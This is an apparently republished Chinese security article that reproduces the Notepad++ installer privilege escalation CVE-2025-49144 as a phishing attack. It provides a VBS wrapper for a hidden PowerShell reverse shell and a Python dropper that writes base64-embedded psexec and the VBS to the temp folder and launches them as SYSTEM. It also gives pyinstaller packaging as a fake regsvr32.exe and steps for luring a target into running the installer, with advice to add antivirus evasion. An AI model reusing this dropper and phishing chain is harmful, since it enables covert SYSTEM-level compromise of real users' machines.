[CVE-2025-49144] 超详细复现notepad++提权漏洞
文章详细描述了利用Notepad++提权漏洞CVE-2025-49144进行钓鱼攻击并获取system权限的过程,包括恶意文件释放、反弹shell实现及攻击复现步骤。 2025-6-27 03:5:33 Author: www.freebuf.com(查看原文) 阅读量:22 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

图片

上一篇文章中简述了 notepad++ 的提权漏洞CVE-2025-49144 ,有师傅复现的时候遇到点疑问,这里详细写一个钓鱼并提权到 system 的复现过程

前情提要和逆向分析

6月24日看到POC发布者的文章后,立即进行了复现,当时作者是并未在GitHub发布POC,而是引导在谷歌网盘下载(现在已删除,只剩下一共演示视频,文章也被屏蔽)

图片

以下是删除之前在网盘下载的POC,并非开源代码而是exe,来源不明的PE文件不要随便运行

图片

图标是 pyinstaller 打包的默认图标,那他源码是 python 写的,PY的反编译很简单,花了一点点时间逆向出源码如下

  1. 有一段很大的 base64,他是一个反弹shell的 exe 文件编码后的
  2. 脚本检测了当前用户的temp目录下是否存在 shell.exe 文件
  3. 运行 exe 进行反弹 shell

图片

在虚拟机运行后发现果然在temp目录释放了 psexec.exe 和 shell.exe 两个文件,前者是用来获取system会话,后者是木马文件

图片

因此整体思路就明了了

  • 1️⃣运行notepad++安装程序
  • 2️⃣由于8.8.1版本的漏洞,导致加载了同目录下的 regsvr32.exe 文件
  • 3️⃣regsvr32.exe 释放 psexec 和木文件
  • 4️⃣psexec获取system会话,并使用system会话拉起木马文件
  • 5️⃣最终木马以system权限运行起来

原作者在github发布的漏洞文章,却引导读者去网盘下载POC,运行后隐藏到临时目录,并且现在也删除了原文和网盘,有点微妙

不过对于我们红队钓鱼来说确实是一个不错的范本,下面开始我的正式复现

详细复现

准备好木文件

我这里以简单的反弹shell为例(实战中换成自己的木并做好免杀),在revshells.com生成一个 powershell base64 的反弹命令

图片

反弹命令添加到如下vbs脚本中,这样处理运行时可以隐藏黑色命令行窗口

Set WshShell = CreateObject("WScript.Shell")WshShell.Run "powershell -e JABjAGwAa......ADpAA==", 0
base64 编码

把这个vbs脚本和psexec.exe两个文件分别base64编码,这里直接在kali中完成即可,-w 0 参数禁止换行

图片

修改 EXP

然后把这两段base64复制到如下python脚本中的两个变量中

import base64import osimport tempfileimport subprocessimport sys# base64编码后的exe文件psexec_base64 = "TVqQAA/+lDlzEJgLTf......G74JycgAA"revshell_base64 = "U2V0IFdzaFNoZWxs......iLCAw"defprint_banner():print("""    ┌──────────────────────────────────────┐    │       微信公众号 · 红队安全圈           │    └──────────────────────────────────────┘    """)# 执行命令,禁止出现黑色弹窗defrun_hidden(command):if sys.platform == 'win32':'''        由于安全原因,请在公众号后台回复 CVE-2025-49144 获取完整python脚本        '''else:        subprocess.run(command, shell=False)# 解码并输出到用户temp目录defrestore_exe(exe_base64,outname):    temp_dir = tempfile.gettempdir()    exe_path = os.path.join(temp_dir, outname)try:        exe_data = base64.b64decode(exe_base64)withopen(exe_path, 'wb') as f:            f.write(exe_data)#print(f"restore file to: {os.path.abspath(exe_path)}")returnTrueexcept Exception as e:#print(f"restore error: {e}")returnFalseif __name__ == '__main__':# 将base64编码的exe文件还原并释放到tmep    restore_exe(psexec_base64,outname='psexec.exe')    restore_exe(revshell_base64,outname='revshell.vbs')# psexec 调起 system 权限的 wscript 执行 vbs 脚本    run_hidden([        os.path.join(tempfile.gettempdir(), 'psexec.exe'),'-i', '-s', '-d','wscript.exe',        os.path.join(tempfile.gettempdir(), 'revshell.vbs'),'-accepteula'    ])
打包成 exe

最后把python脚本打包,并命名为 regsvr32.exe,记得要加上**-w**参数隐藏控制台

pyinstaller -F 1.py -w -n regsvr32.exe

图片

社工钓鱼上线 system

最后把 regsvr32.exe 和 notepad++安装包放在同一个目录,攻击机开启监听,引导目标下载并执行安装程序,即可弹回system权限的shell

图片

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/endpoint/436868.html
如有侵权请联系:admin#unsafe.sh